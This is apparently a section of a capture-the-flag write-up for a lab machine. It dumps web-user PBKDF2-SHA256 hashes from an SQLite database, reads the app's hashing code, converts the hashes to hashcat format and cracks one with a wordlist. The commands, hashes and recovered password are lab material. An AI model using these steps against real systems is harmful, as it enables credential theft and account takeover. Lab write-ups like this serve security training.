DB


Checking for DB files after performing a basic system enumeration

shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ ll
total 44
drwxr-xr-x 2 shirohige shirohige  4096 Oct 12 20:20 ./
drwxr-xr-x 5 shirohige shirohige  4096 Oct  4 15:22 ../
-rw-r--r-- 1 shirohige shirohige 36864 Oct 12 20:20 instant.db

DB file is located at /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db This was initially uncovered by PEAS

Web Credential Hashes


shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ cat instant.db
�QLite format 3@        .v�
���M

 ��33�tablewallet_transactionswallet_transactions       CREATE TABLE wallet_transactions (
        id INTEGER NOT NULL,
        sender VARCHAR,
        receiver VARCHAR,
        amount VARCHAR,
        txn_fee VARCHAR,
        note VARCHAR,
        status VARCHAR,
        PRIMARY KEY (id)
)�`))�{tablewallet_walletswallet_walletsCREATE TABLE wallet_wallets (
        id INTEGER NOT NULL,
        wallet_id VARCHAR,
        balance INTEGER,
        invite_token VARCHAR,
        PRIMARY KEY (id),
        UNIQUE (wallet_id),
        UNIQUE (invite_token)
);O)indexsqlite_autoindex_wallet_wallets_2wallet_wallet;O)indexsqlite_autoindex_wallet_wallets_1wallet_wallets�E%%�Mtablewallet_userswallet_usersCREATE TABLE wallet_users (
        id INTEGER NOT NULL,
        username VARCHAR,
        email VARCHAR,
        wallet_id VARCHAR,
        password VARCHAR,
        create_date VARCHAR,
        secret_pin INTEGER,
        role VARCHAR,
        status VARCHAR,
        PRIMARY KEY (id),
        UNIQUE (username),
        UNIQUE (email),
        UNIQUE (wallet_id)
w#H%indexsqlite_autoindex_wallet_users_3wallet_users7K%indexsqlite_autoindex_wallet_users_2wallet_users7K%indexsqlite_autoindex_wallet_users_1wallet_users

  ��N
     U�YA!testtest@test4aa4eba0-7171-4d92-a2d5-45fb23d33492pbkdf2:sha256:600000$FBEqNZOdr9RwKPZf$16e15b2cc492baf44f1dbb24ec44587d2588801a1fa4b788607a1b763c5058302024-10-12 20:20:41.73131609instantianactive�X
                                                   7U�IA!shirohigeshirohige@instant.htb458715c9-b15e-467b-8a3d-97bc3fcf3c11pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed2024-08-08 20:57:47.909667�]instantianactive�Z
                                                                                                           %/U�YAinstantAdminadmin@instant.htbf0eca6e5-783a-471d-9d8f-0162cbc900dbpbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd9782024-07-23 00:20:52.529887U4Adminactive
shirohige%      instantAdmin
test@test7shirohige@instant.htb/        admin@instant.htb
���J��14aa4eba0-7171-4d92-a2d5-45fb23d33492test_tes6'458715c9-b15e-467b-8a3d-97bc3fcf3c11shirohige_shi7)abfc4bd6-e048-4b48-8e33-67d7fa0a6c80paulkapufi_kap-0d02a551-8536-415e-8a08-8017a635a08fturafarugaro_tur>U/f0eca6e5-783a-471d-9d8f-0162cbc900db���instant_admin_inv9-9f3a7cfc-f85a-43d0-84a2-2fd4e04212b3spideymonkey_spi
 
�4
  �]�(U4aa4eba0-7171-4d92-a2d5-45fb23d33492(U458715c9-b15e-467b-8a3d-97bc3fcf3c11(Uabfc4bd6-e048-4b48-8e33-67d7fa0a6c80(U0d02a551-8536-415e-8a08-8017a635a08f'U     f0eca6e5-783a-471d-9d8f-0162cbc900db(U9f3a7cfc-f85a-43d0-84a2-2fd4e04212b3
�������

The DB file is in the sqlite format 2 web credential hashes can be found. They are in PBKDF2-SHA256 format

Hashing Mechanism


shirohige@instant:~/projects/mywallet/Instant-Api/mywallet$ cat app.py 
from flask import Flask, request, jsonify, make_response, redirect
from werkzeug.security import generate_password_hash, check_password_hash
from models import db, User, Wallet, Transaction
from datetime import datetime, timedelta
from functools import wraps
import dotenv
import uuid
import jwt
import os
 
dotenv.load_dotenv()
 
app = Flask(__name__)
 
app.config['SECRET_KEY'] = os.getenv("SECRET_KEY")
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///instant.db'
app.config['SQLALCHEMY_TRACK_MODIFICATION'] = True
 
db.init_app(app)
 
[...REDACTED...]
 
# route for registration
@app.route("/api/v1/register", methods=['POST'])
def api_register():
    if request.method == 'POST':
        data = request.get_json()
        username = data['username']
        email = data['email']
        password = data['password']
        pin = data['pin']
        wall_id = str(uuid.uuid4())
        # check if the username exists
        user = User.query.filter_by(username=username).first()
        if user is not None:
            return make_response(jsonify({
                "Status": 202,
                "Description": "You have an account! Please Login!"
            }), 202)
        if len(pin) == 5:
            # user not found now push user to DB
            user = User(username, email, wall_id, generate_password_hash(password, method="pbkdf2"), str(datetime.now()), int(pin), "instantian", "active")
            # create wallet for the user's DB
            wallet = Wallet(wall_id, 0, f"{username}_{email[:3]}")
            db.session.add(user)
            db.session.add(wallet)
            db.session.commit()
 
            return make_response(jsonify({
                "Status": 201,
                "Description": "User Registered! Login Now!"
            }), 201)
        else:
 
            return make_response(jsonify({
                "Status": 201,
                "Description": "Pin Needs To Be 5 Digits!"
            }), 201)
 
[...REDACTED...]

Checking the source code for the hashing mechanism reveals the function used; generate_password_hash from the werkzeug.security library

werkzeug.security.generate_password_hash


The generate_password_hash from the werkzeug.security library relies on the hashlib.pbkdf2_hmac function

Reconstruction

However, they are not in the hashcat-friendly format

Looking into it further online reveals that a conversion is required for hashcat to work with those hashes

This reddit comment also mentions the same thing

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ cat hashes.txt       
pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978
pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed

Inspecting the hashes again shows that they are consist of 5 different sections divided by : and $

The first 3 sections are the cryptographic function, Hashing algorithm, and iteration respectively

The remaining 2 sections are salts and the actual hash strings in the hex format I can reconstruct them accordingly to the hashcat-acceptable format

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ echo -n I5bFyb0ZzD69pNX8 | base64 ; echo -n YnRgjnim | base64
STViRnliMFp6RDY5cE5YOA==
WW5SZ2puaW0=

These are base64-encoded salts

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ echo -n e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978 | xxd -p -r | base64 ; echo -n c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed | xxd -p -r | base64
6eTqXCgOB2ZhIpWrm/8y5fod6PbLtlhvq3q3vHYr2Xg=
yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=

These are the base64-encoded hash strings

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ cat reconstructed_hashes.txt
sha256:600000:STViRnliMFp6RDY5cE5YOA==:6eTqXCgOB2ZhIpWrm/8y5fod6PbLtlhvq3q3vHYr2Xg=
sha256:600000:WW5SZ2puaW0=:yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=
Password Cracking

PS C:\Users\tacticalgator\Tools\hashcat-6.2.6> .\hashcat.exe -d 1,2,3 -O -a 0 -m 10900 .\reconstructed_hashes.txt .\rockyou.txt
 
hashcat (v6.2.6) starting
 
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
 
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
 
Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP
 
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
 
sha256:600000:WW5SZ2puaW0=:yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=:estrella
 
Session..........: hashcat
Status...........: Quit
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: .\reconstructed_hashes.txt
Time.Started.....: Sun Oct 13 23:23:44 2024 (2 mins, 26 secs)
Time.Estimated...: Mon Oct 14 01:18:39 2024 (1 hour, 52 mins)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     2014 H/s (6.25ms) @ Accel:32 Loops:32 Thr:256 Vec:1
Speed.#3.........:      111 H/s (6.56ms) @ Accel:8 Loops:32 Thr:64 Vec:1
Speed.#*.........:     2125 H/s
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 245760/28688770 (0.86%)
Rejected.........: 0/245760 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:116160-116192
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:589536-589568
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> dolphins99
Candidates.#3....: dolphins6 -> rebel92
Hardware.Mon.#1..: Temp: 85c Util: 98% Core:1665MHz Mem:6000MHz Bus:8
Hardware.Mon.#3..: N/A

hashcat was able to crack one of the hashes; estrella It belongs to the shirohige user

However, it’s important to note that this is a credential for the web API. Not the system.

Validation

shirohige@instant:~$ sudo -l
[sudo] password for shirohige: estrella
Sorry, try again.
[sudo] password for shirohige: 

Validation failed. There is no password reuse.